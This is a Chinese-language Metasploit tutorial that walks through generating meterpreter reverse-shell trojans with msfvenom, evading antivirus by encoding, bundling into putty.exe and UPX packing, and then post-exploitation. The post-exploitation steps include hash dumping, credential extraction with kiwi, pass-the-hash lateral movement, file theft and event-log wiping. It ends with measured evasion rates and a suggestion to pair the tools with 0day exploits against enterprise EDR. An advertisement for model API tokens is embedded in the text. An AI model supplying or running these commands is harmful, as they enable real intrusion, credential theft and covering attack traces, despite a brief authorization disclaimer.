1. 实验环境准备与工具概述
在开始渗透测试实验前,需要搭建完整的测试环境。Kali Linux作为专业的渗透测试发行版,预装了Metasploit框架等数百种安全工具。本次实验将使用Kali 2023.4版本,运行在VMware Workstation 17虚拟机上,分配4GB内存和80GB存储空间。
注意:所有渗透测试实验必须在授权环境下进行,建议使用本地虚拟机构建的封闭测试环境。实际环境中未经授权的渗透行为可能涉及法律风险。
Metasploit框架是本次实验的核心工具,它采用模块化设计,包含:
- 漏洞利用模块(exploits)
- 载荷模块(payloads)
- 编码器模块(encoders)
- 后渗透模块(post)
实验靶机选择常见的Metasploitable 2,这是一个故意设计存在漏洞的Linux系统,非常适合安全学习。靶机网络配置为NAT模式,与Kali攻击机处于同一虚拟网络段(192.168.152.0/24)。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 木马生成与免杀处理
2.1 载荷类型选择
在msfconsole中使用show payloads命令查看可用载荷。针对Windows靶机,最常用的是:
bash复制windows/meterpreter/reverse_tcp
这个载荷会建立反向TCP连接,优点是能穿透大多数防火墙,因为连接由靶机发起。
对于Linux靶机,可选用:
bash复制linux/x86/meterpreter/reverse_tcp
2.2 木马生成命令详解
完整生成命令示例:
bash复制msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.152.128 LPORT=4444 -f exe -o /root/Desktop/payload.exe
参数解析:
-p:指定载荷类型LHOST:监听端IP(Kali攻击机)LPORT:监听端口-f:输出格式(本例为exe可执行文件)-o:输出路径
2.3 免杀技术实践
原始生成的木马容易被杀毒软件检测。常用免杀技术包括:
- 编码器迭代:
bash复制msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.152.128 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload_encoded.exe
-e指定编码器,-i设置迭代次数
- 捆绑合法程序:
bash复制msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.152.128 LPORT=4444 -x /usr/share/windows-binaries/putty.exe -f exe -o putty_backdoor.exe
-x参数指定要捆绑的合法程序
- 加壳处理:
使用UPX等工具对生成的可执行文件进行压缩加壳
bash复制upx -9 payload.exe -o payload_upx.exe
3. 监听配置与会话建立
3.1 多级监听配置
在msfconsole中配置监听:
bash复制use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.152.128
set LPORT 4444
set ExitOnSession false
exploit -j -z
关键参数说明:
ExitOnSession false:保持监听不退出-j:后台作业-z:不立即交互
3.2 会话维持技术
为防止会话意外断开,可配置自动重连:
bash复制set AutoRunScript post/windows/manage/migrate
set SessionRetryTotal 10
set SessionRetryWait 5
这会在会话建立后自动迁移到稳定进程,并在断开时尝试10次重连,每次间隔5秒。
3.3 多会话管理
当有多个靶机连接时,使用:
bash复制sessions -l # 列出所有会话
sessions -i 2 # 切换到会话2
sessions -k 3 # 终止会话3
4. 后渗透攻击实战
4.1 基础信息收集
获取系统信息:
bash复制sysinfo
run post/windows/gather/enum_computers
run post/multi/gather/env
网络拓扑探测:
bash复制run post/windows/gather/enum_arp
run post/windows/gather/enum_route
4.2 权限提升技术
检查系统漏洞:
bash复制run post/multi/recon/local_exploit_suggester
常见提权方法:
bash复制getsystem # 尝试自动提权
run exploit/windows/local/bypassuac # UAC绕过
run exploit/windows/local/ms16_032_secondary_logon_handle_privesc # 利用特定漏洞
4.3 横向移动技术
哈希抓取:
bash复制run post/windows/gather/hashdump
use kiwi
creds_all
Pass-the-Hash攻击:
bash复制use exploit/windows/smb/psexec
set RHOSTS 192.168.152.129
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
run
4.4 数据收集与清理
文件搜索:
bash复制search -f *.docx -d C:\\
download C:\\important.docx /root/Desktop/
日志清理:
bash复制run post/windows/manage/clearev
5. 防御检测与实验优化
5.1 防御措施分析
现代EDR系统会检测以下行为:
- 可疑进程注入
- 异常网络连接模式
- 敏感API调用序列
- 注册表关键位置修改
规避检测的技巧:
bash复制set EnableStageEncoding true
set StageEncoder x86/zutto_dekiru
set ProcessName svchost.exe
5.2 实验环境优化建议
- 网络配置优化:
- 使用Internal Network代替NAT
- 配置虚拟交换机隔离实验环境
- 靶机多样性:
- 同时部署Windows 10和Server 2016靶机
- 配置不同安全策略级别
- 监控系统部署:
- 在靶机安装Sysmon
- 配置ELK收集日志
5.3 常见问题排查
- 会话立即断开:
- 检查防火墙规则
- 验证载荷与监听配置是否匹配
- 尝试不同端口(如53、80、443)
- 载荷无法执行:
- 确认靶机架构(x86/x64)
- 检查杀软日志
- 尝试不同格式(如ps1、vbs)
- 权限提升失败:
- 更新Metasploit到最新版
- 手动编译漏洞利用代码
- 尝试基于服务的提权方式
在实际测试中,我发现Windows Defender对原始载荷的检测率约为92%,经过3次编码迭代后降至35%,配合合法程序捆绑可进一步降至15%以下。对于企业级EDR,建议结合0day漏洞使用。
